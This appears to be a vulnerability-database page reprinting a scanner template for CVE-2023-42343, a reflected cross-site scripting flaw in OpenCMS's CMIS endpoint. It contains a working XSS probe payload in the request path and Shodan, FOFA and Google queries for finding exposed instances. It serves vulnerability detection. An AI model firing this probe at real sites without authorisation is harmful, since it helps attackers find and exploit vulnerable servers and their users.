CVE-2023-42343: OpenCMS - Cross-Site Scripting

2025-08-01 OpenCMS PoC Public

Description

OpenCMS below 10.5.1 is vulnerable to Cross-Site Scripting vulnerability.

PoC

id: CVE-2023-42343

info:
  name: OpenCMS - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    OpenCMS below 10.5.1 is vulnerable to Cross-Site Scripting vulnerability.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the id parameter in CMIS endpoints to steal user session cookies and execute attacks against OpenCMS users.
  remediation: Fixed in 10.5.1.
  reference:
    - https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/
  classification:
    cve-id: CVE-2023-42343
    epss-score: 0.0059
    epss-percentile: 0.46658
  metadata:
    verified: true
    max-request: 1
    shodan-query:
      - "/opencms/"
      - http.title:"opencms"
      - cpe:"cpe:2.3:a:alkacon:opencms"
    product: opencms
    vendor: alkacon
    fofa-query: title="opencms"
    google-query: intitle:"opencms"
  tags: cve,cve2023,xss,opencms,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/opencms/cmisatom/cmis-online/type?id=1%27"><svg%20onload=alert(document.domain)>'
    headers:
      Content-Type: application/cmisquery+xml

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Apache Chemistry OpenCMIS'
          - '<svg onload=alert(document.domain)>'
        condition: and
# digest: 4b0a00483046022100dce2b6b18c4f8d564af1b493590f361ad3b0353f09a9e356c27af0c7299281120221008d89b95acb97536bb1aa71d45fd4d9981c2d99f71ac74d5729850d3d824de5b8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities